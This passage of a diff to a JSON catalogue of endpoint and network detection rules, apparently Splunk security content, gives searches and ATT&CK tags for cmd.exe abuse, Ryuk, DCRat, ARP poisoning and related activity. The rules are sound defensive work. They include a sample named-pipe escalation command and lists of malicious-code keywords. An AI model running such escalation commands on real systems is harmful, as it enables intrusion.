forcefully", - "description": "The search looks for the Console Window Host process (connhost.exe) executed using the force flag -ForceV1. This is not regular behavior in the Windows OS and is often seen executed by the Ryuk Ransomware. DEPRECATED This event is actually seen in the windows 10 client of attack_range_local. After further testing we realized this is not specific to Ryuk. ", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE Processes.process=\"*C:\\\\Windows\\\\system32\\\\conhost.exe* 0xffffffff *-ForceV1*\" by Processes.user Processes.process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_connhost_exe_started_forcefully_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "CMD Carry Out String Command Parameter", - "description": "The following analytic detects the use of `cmd.exe /c` to execute commands, a technique often employed by adversaries and malware to run batch commands or invoke other shells like PowerShell. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. Monitoring this activity is crucial as it can indicate script-based attacks or unauthorized command execution. If confirmed malicious, this behavior could lead to unauthorized code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` AND Processes.process=\"* /c*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_carry_out_string_command_parameter_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Azorult", - "CISA AA23-347A", - "Chaos Ransomware", - "DarkCrystal RAT", - "DarkGate Malware", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Living Off The Land", - "Log4Shell CVE-2021-44228", - "NjRAT", - "PlugX", - "ProxyNotShell", - "Qakbot", - "RedLine Stealer", - "Rhysida Ransomware", - "Warzone RAT", - "WhisperGate", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting spawn a new process.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "CMD Echo Pipe - Escalation", - "description": "The following analytic identifies the use of named-pipe impersonation for privilege escalation, commonly associated with Cobalt Strike and similar frameworks. It detects command-line executions where `cmd.exe` uses `echo` to write to a named pipe, such as `cmd.exe /c echo 4sgryt3436 > \\\\.\\Pipe\\5erg53`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant as it indicates potential privilege escalation attempts. If confirmed malicious, attackers could gain elevated privileges, enabling further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` OR Processes.process=*%comspec%* (Processes.process=*echo* AND Processes.process=*pipe*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_echo_pipe___escalation_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ potentially performing privilege escalation using named pipes related to Cobalt Strike and other frameworks.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Prohibited Applications Spawning cmd exe", - "description": "The following analytic detects executions of cmd.exe spawned by processes that are commonly abused by attackers and do not typically launch cmd.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUID, process name, parent process, and command-line executions. This activity is significant because it may indicate an attempt to execute unauthorized commands or scripts, often a precursor to further malicious actions. If confirmed malicious, this behavior could lead to unauthorized code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |search [`prohibited_apps_launching_cmd_macro`] | `detect_prohibited_applications_spawning_cmd_exe_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Suspicious Command-Line Executions", - "Suspicious MSHTA Activity", - "Suspicious Zoom Child Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ running prohibited applications.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Use of cmd exe to Launch Script Interpreters", - "description": "The following analytic detects the execution of cscript.exe or wscript.exe processes initiated by cmd.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent processes within the Endpoint data model. This activity is significant as it may indicate script-based attacks or administrative actions that could be leveraged for malicious purposes. If confirmed malicious, this behavior could allow attackers to execute scripts, potentially leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"cmd.exe\" (Processes.process_name=cscript.exe OR Processes.process_name =wscript.exe) by Processes.parent_process Processes.process_name Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_use_of_cmd_exe_to_launch_script_interpreters_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Emotet Malware DHS Report TA18-201A", - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "cmd.exe launching script interpreters $process_name$ on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Potentially malicious code on commandline", - "description": "The following analytic detects potentially malicious command lines using a pretrained machine learning text classifier. It identifies unusual keyword combinations in command lines, such as \"streamreader,\" \"webclient,\" \"mutex,\" \"function,\" and \"computehash,\" which are often associated with adversarial PowerShell code execution for C2 communication. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command lines longer than 200 characters. This activity is significant as it can indicate an attempt to execute malicious scripts, potentially leading to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=\"Endpoint.Processes\" by Processes.parent_process_name Processes.process_name Processes.process Processes.user Processes.dest | `drop_dm_object_name(Processes)` | where len(process) > 200 | `potentially_malicious_code_on_cmdline_tokenize_score` | apply unusual_commandline_detection | eval score='predicted(unusual_cmdline_logits)', process=orig_process | fields - unusual_cmdline* predicted(unusual_cmdline_logits) orig_process | where score > 0.5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `potentially_malicious_code_on_commandline_filter`", - "tags": { - "analytic_story": [ - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual command-line execution with command line length greater than 200 found on $dest$ with commandline value - [$process$]", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Ryuk Wake on LAN Command", - "description": "The following analytic detects the use of Wake-on-LAN commands associated with Ryuk ransomware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process and command-line activities. This behavior is significant as Ryuk ransomware uses Wake-on-LAN to power on devices in a compromised network, increasing its encryption success rate. If confirmed malicious, this activity could lead to widespread ransomware encryption across multiple endpoints, causing significant operational disruption and data loss. Immediate isolation and thorough investigation of the affected endpoints are crucial to mitigate the impact.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"*8 LAN*\" OR Processes.process=\"*9 REP*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ryuk_wake_on_lan_command_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ with wake on LAN commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Command Shell DCRat ForkBomb Payload", - "description": "The following analytic detects the execution of a DCRat \"forkbomb\" payload, which spawns multiple cmd.exe processes that launch notepad.exe instances in quick succession. This detection leverages Endpoint Detection and Response (EDR) data, focusing on the rapid creation of cmd.exe and notepad.exe processes within a 30-second window. This activity is significant as it indicates a potential DCRat infection, a known Remote Access Trojan (RAT) with destructive capabilities. If confirmed malicious, this behavior could lead to system instability, resource exhaustion, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.parent_process_id) as parent_process_id values(Processes.process_id) as process_id dc(Processes.parent_process_id) as parent_process_id_count dc(Processes.process_id) as process_id_count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name= \"cmd.exe\" (Processes.process_name = \"notepad.exe\" OR Processes.original_file_name= \"notepad.exe\") Processes.parent_process = \"*.bat*\" by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.parent_process Processes.dest Processes.user _time span=30s | where parent_process_id_count>= 10 AND process_id_count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_command_shell_dcrat_forkbomb_payload_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple cmd.exe processes with child process of notepad.exe executed on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } } ], "external_reference": [ @@ -633291,445 +427585,7 @@ "Event ID": null, "Event Name": "Data loss prevention" } - ], - { - "name": "Linux Hardware Addition SwapOff", - "description": "The following analytic detects the execution of the \"swapoff\" command, which disables the swapping of paging devices on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because disabling swap can be a tactic used by malware, such as Awfulshred, to evade detection and hinder forensic analysis. If confirmed malicious, this action could allow an attacker to manipulate system memory management, potentially leading to data corruption, system instability, or evasion of memory-based detection mechanisms.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"swapoff\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_hardware_addition_swapoff_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ swap off paging device in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - } - ] - } - }, - { - "name": "Detect ARP Poisoning", - "description": "The following analytic detects ARP Poisoning attacks by monitoring for Dynamic ARP Inspection (DAI) errors on Cisco network devices. It leverages logs from Cisco devices, specifically looking for events where the ARP inspection feature has disabled an interface due to suspicious activity. This activity is significant because ARP Poisoning can allow attackers to intercept, modify, or disrupt network traffic, leading to potential data breaches or denial of service. If confirmed malicious, this could enable attackers to perform man-in-the-middle attacks, compromising the integrity and confidentiality of network communications.", - "search": "`cisco_networks` facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"arp-inspection\" | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime count BY host src_interface | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_arp_poisoning_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect IPv6 Network Infrastructure Threats", - "description": "The following analytic detects IPv6 network infrastructure threats by identifying suspicious activities such as IP and MAC address theft or packet drops. It leverages logs from Cisco network devices configured with First Hop Security measures like RA Guard and DHCP Guard. This activity is significant as it can indicate attempts to compromise network integrity and security. If confirmed malicious, attackers could manipulate network traffic, leading to potential data interception, unauthorized access, or network disruption.", - "search": "`cisco_networks` facility=\"SISF\" mnemonic IN (\"IP_THEFT\",\"MAC_THEFT\",\"MAC_AND_IP_THEFT\",\"PAK_DROP\") | eval src_interface=src_int_prefix_long+src_int_suffix | eval dest_interface=dest_int_prefix_long+dest_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(mnemonic) AS mnemonic values(vendor_explanation) AS vendor_explanation values(src_ip) AS src_ip values(dest_ip) AS dest_ip values(dest_interface) AS dest_interface values(action) AS action count BY host 